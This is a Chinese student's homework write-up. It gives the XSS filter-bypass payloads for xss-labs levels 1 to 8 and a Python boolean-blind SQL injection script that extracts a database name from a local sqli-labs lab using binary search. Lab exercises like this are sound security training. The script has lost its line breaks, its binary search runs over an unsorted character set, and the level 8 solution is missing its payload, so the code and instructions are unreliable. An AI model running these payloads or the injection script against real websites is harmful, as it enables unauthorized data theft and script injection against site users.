一、作业要求
1、xss-labs 1~8关
2、python实现自动化sql布尔育注代码优化(二分查找)
二、xss-labs 1~8关
1、准备
打开小皮面板,启动MySQL和apacher
下载 xss-labs,并解压后放到 phpstudy_pro 的 WWW 目录下,重命名为 xss-labs
访问链接:http://localhost/xss-labs/
2、level 1(直接注入)
漏洞:name未过滤直接输出到HTMLGET
解决方案:直接加入xss攻击语句
<script>alert('xss')</script>
3、level 2
漏洞:输入框的alue属性未过滤,但<h2>内容被转义
解决方案:闭合value的双引导,利用未过滤的输入点注入脚本
(1)在搜索框输入<script>alert()</script>不成功
(2)查看源代码
在搜索框中输入
"><script>alert()</script>
4、level 3
漏洞:<和>被转义,但是单引号未过滤
解决方案:
搜索框输入代码
' onfocus=javascript:alert() '
查看源代码
符号被实体化
用onfocus事件进行绕过,则在搜索框中输入
'onfocus='alert(1)
5、level 4
漏洞:双引号闭合属性值
解决方案:查看源代码
符号被实体化,用onfocus事件实现绕过,搜索框输入
1"onclick="alert(1)
6、level 5
漏洞:onclick和script被过滤为o_nclick和scr_ipt
解决方案:用<a>标签的href属性链接到JavaScript
"><a href="javascript:alert(1)">xss</a><"
点击xss,直接通关
7、level 6
漏洞:大小写未统一,href被替换成了hr_ef
解决方案:用转大写绕过
"><a HREF="javascript:alert(1)">点击</a>
8、level 7
漏洞:script被替换为空
解决方案:(1)用onfocus事件进行绕过发现on被过滤
(2)用双写绕过
"><scscriptript>alert()</scscriptript><"
9、level 8
漏洞:href属性自动解码Unicode
解决方案:查看源码
对javascript:alert(1)编码
三、python实现自动化sql布尔育注代码优化(二分查找)
import requests# 目标URL和成功标记
url = "http://127.0.0.1/sqli/Less-8/index.php"
success_marker = "You are in"# 字符集
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-."def get_database_length():for length in range(1, 50):payload = f"1' AND (SELECT length(database()) = {length}) -- "try:response = requests.get(url, params={"id": payload}, timeout=5)if success_marker in response.text:return lengthexcept requests.exceptions.RequestException:continuereturn 0def get_database_name(length):db_name = ""for i in range(1, length + 1):left, right = 0, len(charset) - 1while left <= right:mid = (left + right) // 2char = charset[mid]payload = f"1' AND (SELECT substring(database(), {i}, 1) <= '{char}') -- "try:response = requests.get(url, params={"id": payload}, timeout=5)if success_marker in response.text:right = mid - 1else:left = mid + 1except requests.exceptions.RequestException:breakdb_name += charset[left] if left < len(charset) else "?"return db_nameif __name__ == "__main__":length = get_database_length()if length > 0:print(f"Database length: {length}")db_name = get_database_name(length)print(f"Database name: {db_name}")else:print("Failed to determine database length.")
get_database_length()
:通过递增测试确定数据库名的长度
get_database_name(length)
:使用二分查找法逐字符推断数据库名
结果
数据库名长度: 8
数据库名: security